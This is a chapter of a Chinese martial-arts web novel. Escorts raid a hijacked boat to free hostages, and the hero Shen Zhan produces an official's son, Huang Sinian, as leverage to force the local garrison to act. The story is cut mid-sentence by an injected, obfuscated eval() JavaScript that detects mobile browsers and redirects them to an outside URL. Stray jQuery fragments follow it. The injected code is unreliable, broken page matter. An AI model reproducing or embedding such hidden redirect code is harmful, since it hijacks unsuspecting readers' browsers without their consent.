默认冷灰
24号文字
方正启体

11. 黄斯年

作者:水亦弓本书字数:K更新时间:
    准备偷袭的众人已经靠近了客船,舱底外侧有一排不起眼的小窗,正是潜入的绝佳入口。


    江闻打了个手势,两个人便无声攀上船身,用匕首小心翼翼地拨开窗栓。木栓发出轻轻的“咔”声,窗户向内滑开一道缝隙。


    苗蓁虽然给他们指了路,心中却并没有把握,她真怕这几个人翻过去之后就是去送死。


    眼见谢虎第一个翻了过去,紧接着又有三四条黑影鱼贯而入,她终于忍不住,在江闻即将翻窗的前一刻,伸手轻扯了一下对方衣袖。


    苗蓁目光怯怯,小声问道:“江女侠,你们就这么几个人进去……能、能行吗?”


    江闻闻声回头,神情原本专注严肃,以为她还有什么重要的情报没有交代清楚。直到听到这句,她眉梢先是一愣,继而那双英气的眼睛微微睁大,露出一丝荒谬的神情。


    她看着苗蓁,沉默了足足一息,说道:“晚了。”


    “嗯?”苗蓁不解。


    然后,江闻忽地凑近些,同样压低嗓音,语气中带着一种事已至此的神情:


    “他们前几个人都已经进去了,你此刻才说,可不是‘晚了’吗?如若这样,我们就别进去送死了吧?”


    江闻却笑了起来,苗蓁瞬间无语:眼下如此紧张,也不知她在爽朗些什么。


    “你别开玩笑了,性命攸关。”


    江闻已经敛了神色,伸手在她肩头轻轻一拍,“放宽心,我们虽仗义,却也有分寸,不会鲁莽行事的,出来江湖上混,若是自己的性命都没保住,还谈什么行侠仗义?”


    闻言,苗蓁心定了几分。


    几个人进了船内。


    一股熟悉的霉味儿扑面而来,这让苗蓁确定了,这里一定和她方才被关押的地方不远。


    黑暗中,众人蹑手蹑脚前行。此行若是能悄无声息地把看守人质的贼匪控制住,便已经成功了大半。


    越往前,那象征危险的昏黄灯火便越发清晰,压抑的呜咽与粗暴的呵斥声也渐渐清晰可闻。


    苗蓁紧紧攥着江闻塞给她的一根硬木短棍,掌心渗出汗。


    她跟在队尾,脚步虚浮,脑中回荡着江闻方才嘱咐着她的话:若是前面打起来了,情势不妙,她就找个隐秘的地方藏起来。


    就在她心神紧绷、几乎能听到自己心跳的刹那——


    前方拐角阴影处,骤然爆发出沉闷的撞击声与低哑的嘶吼。


    “铛!”


    是金属磕碰的响声。


    “有人摸进来了!”匪徒惊怒的吼声炸开。


    紧接着,便是器物被撞倒与人群混斗的声音……混乱在这狭窄的船上翻滚开。


    苗蓁浑身一僵,腿像被钉在原地。


    黑暗中她看不清具体情形,只觉得数条人影在昏黄与暗影交界处猛烈纠缠碰撞,危险的气息压迫过来。


    “苗姑娘——往回跑!”江闻清厉的喊声穿透混乱,异常清晰。


    苗蓁如梦初醒,转身就跑。她心跳如同擂鼓,撞击着耳膜,她慌不择路,只本能地逃离那片厮杀声,直到一头撞进一个装满空桶的狭窄死角。


    这里很安静,与几步之外的喧嚷搏杀之间仿佛隔了一层。昏暗中,她只能勉强辨认出七八个半人高的空桶杂乱垒着,堵死了大半去路。


    唯一的光来自高出一扇巴掌大的气窗,只漏下一点惨惨淡淡的灰白色。


    苗蓁后背刚抵上冰冷的桶壁,一道黑影从侧面闪出,看清之后便挥舞起手中的武器,向着苗蓁这边猛砍过来。


    苗蓁一个闪身,侥幸躲了过去。


    她本能地抡了一下木棒,朝着那个人狠狠地砸过去。


    “呃!”偷袭者被痛击之后哼了一声,显然是没想到她有反击之力。


    苗蓁于是趁机脱身,反身又是一记横扫,却因慌乱而失了准头。对方踉跄两步站稳,在昏昧的光线下看清了她不过是个手持木棍的弱女子,顿时狰狞着脸再度向她扑过来。


    刀刃的寒光乍破黑暗!


    千钧一发之际,一柄长剑自阴影中递出,强硬地挑开那攻击的利刃。


    苗蓁回神间,沈湛已经挡在她面前。那人负伤奔逃,沈湛没再追去。


    “沈公子?”苗蓁惊魂未定,看清这人面庞。


    “你怎么回来了?”沈湛一脸疑惑。


    “我遇到了夜间押货的商船,是震远镖局的镖师。他们说附近有卫所的官兵巡逻,已派人去求援了。但是官兵未到,我们担心人质有危险,便上来先解救人质。”苗蓁解释道。


    “卫所的人在附近?”沈湛闻言,眼神一凝。


    “对,只是不知,为何迟迟不到。”


    苗蓁低语间,另一道身影也疾步而来,手中铁尺犹带血迹,正是江闻。


    许是听到方才苗蓁的呼喊声,她满眼关切地看着她。


    沈湛背身,剑未归鞘,戒备未消。


    苗蓁连忙解释道:“沈公子,这是镇远镖局江镖师,是自己人。”


    沈湛眼中疑虑散尽,剑尖微垂,朝江闻略一颔首,“原是江镖头,所以刚才是镖局兄弟在解救人质?”


    江闻此刻以手撑膝,喘息未定,只摆了摆另一只手,示意不必多礼。


    “江女侠,”苗蓁疾步上前,“前去求援的人呢?卫所官兵怎么还不来?”


    江闻终于把气喘匀,直起身,抹了一把额前汗血,脸色难看,“刚得的信,不来了。”


    她的话令苗蓁一惊。“什么?出了什么变故?你仔细说。”


    江闻闭了闭眼,深吸一口气,再睁开时,眼底翻涌着怒火,然而更多的却是懊悔。


    她强压情绪,用镇定的声音说道:“刚才去报信的人说,卫所的人说,今日水寨例行操练,兵疲器钝,未得上峰命令,不敢擅动。让我们……‘暂且周旋,保全自身。’待明日禀明千户大人后,再行定夺。”


    苗蓁一个对兵不甚了解的人都觉得荒谬,“这是什么话?待到天明,这船上还能剩下几个活口?他们岂敢……如此推诿!”


    江闻颓然摇头,一抹惨淡的苦笑挂在嘴角。


    客船上的人是飞来横祸。但是江闻的商队,却本不涉及其中,若是他们一开始选择了独善其身,或许便不会遭此劫难。


    苗蓁看着她染血的衣襟和疲惫的脸庞,声音艰涩:“那眼下如何是好?岂非要在此死战?江女侠,贼人凶悍,若无援兵,镖局兄弟岂非死伤惨重?你不然还是趁着伤亡不重,带大家撤走罢?”


    “撤走?”江闻闻言霍然抬头,眼神中血丝分明,“莫说现在交战正酣,我镖局的兄弟还在前面拼命!就是换做别人,任谁看了船上百姓惨状,又能甘心袖手旁观?”她拳头攥紧,剩下的话哽在喉头。


    一旁一直沉默旁听的沈湛,忽然开口,声音是平静中带着一种穿透混乱的清晰:“此处位于漕运要冲,应是海沧卫和桐州卫的交界处,你们所求援的,是哪个卫所?”


    江闻一怔,下意识回答道:“是桐州卫的巡江船队。”


    沈湛眸光微动,似乎在快速搜寻脑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092359|195485||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中记忆:“若是我没记错,桐州卫的指挥使姓齐,但是如今常驻杭州参赞营务,眼下在江面巡防的,可是副千户杜绍均?”


    “正是杜千户。”江闻点点头,眼中倏然燃起一丝希望,“您对卫所人事如此熟悉,莫非……是官家的人?”


    沈湛没有直接回答,只是将手中长剑利落收进剑鞘,转身对两个人说道:“我方才救下一人,或许能逼得他们不得不救,随我来。”


    江闻半信半疑地看着他,苗蓁却已毫不犹豫地跟上。


    沈湛领着二人拐入船舱更深处的一间狭窄舱室。此乃船工暂歇、存放备用帆索轮船的地方,异常隐秘。


    沈湛在一堆看似随意垒砌的旧麻袋前停下,


    “出来。”沈湛沉声喊了一声。


    没有任何动静。


    沈湛见没有动静,眉梢微动,上前半步,本欲抬脚踹向麻袋,忽而又顿住,侧目瞥过身后的两人。改用剑鞘朝着那杂物深处不轻不重地一捅。


    麻袋堆窸窣作响,一个被穿着淡黄色锦缎衣服的小胖子,狼狈地滚了出来,停在三人前面。


    “好汉!饶命,好汉饶命!”


    他抬起眼的那一刹,正对上一旁站着的江闻与苗蓁,他直接愣住,接着改口:


    “女侠饶命!女侠饶命!”


    苗蓁忍住笑意,端详着这人——十八九岁的样子,虽然白白嫩嫩的,只是此刻脸上的涕泪与污渍混作一团,衣服也皱巴巴的。


    他一转头,看到沈湛,眼中倏地迸出光来,激动得声音发颤:“沈兄,真的是你!你可算来救我了!”


    他慌张环顾四周,压低嗓音问道:“贼、贼人可都料理干净了?”


    他动作滑稽,沈湛伸手、费力地把他拽起来,


    “尚未。”


    “啊?!”他脸上那点刚浮现的血色瞬间褪尽,双腿一软,差点又坐了回去。他手忙脚乱地摸摸了裤腿,声音发飘:“那、那我再躲躲吧!我再躲躲吧!”


    说罢便往麻袋堆后头缩。


    一旁,苗蓁与江闻看得目瞪口呆。


    沈湛无奈,伸脚轻轻拦住他蠕动的去路,“黄公子,你先起来说话。”


    他一边将黄斯年扶起,一边对一旁愣住的二人介绍道:


    “这位是嘉兴府黄同知家的公子,黄斯年。”


    黄斯年听到介绍,百忙之中还对苗蓁和江闻笑了笑。


    沈湛继续说道,“黄同知掌府内漕运兼之案,正是桐州卫的直系上官之一,杜千户今日巡防于此,恐怕并非巧合。”


    苗蓁瞬间明悟,眼中重燃希望:“你的意思是?”


    沈湛嘴角掠过一丝冰冷的弧度,“他杜绍均可以借口兵疲,放任普通民船遇劫难而不救,可是他绝对不敢坐视顶头上司的子弟,在他眼皮底下被劫。尤其,是在他已经接到求援,却按兵不动之后。此事一旦做实,于公于私,他都难逃干系。”


    一旁的黄斯年总算听明白,瞪大了眼睛,“什么?桐州卫的人就在外面?”


    沈湛转向他,“黄公子,想活命吗?”


    黄斯年拼命点头,“大丈夫能屈能伸,我方才躲避不过是权宜之计,眼下桐州卫的人已经到了,哪里还有龟缩不前的道理?”


    沈湛见他答应,语气干脆:“那就借黄小公子的玉佩一用,再烦请,写几个字。”


    他目光扫过摇曳的灯焰,投向外面隐约的厮杀声方向,字字清晰


    “我们给杜千户,送一份他不得不接受的‘急报’。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)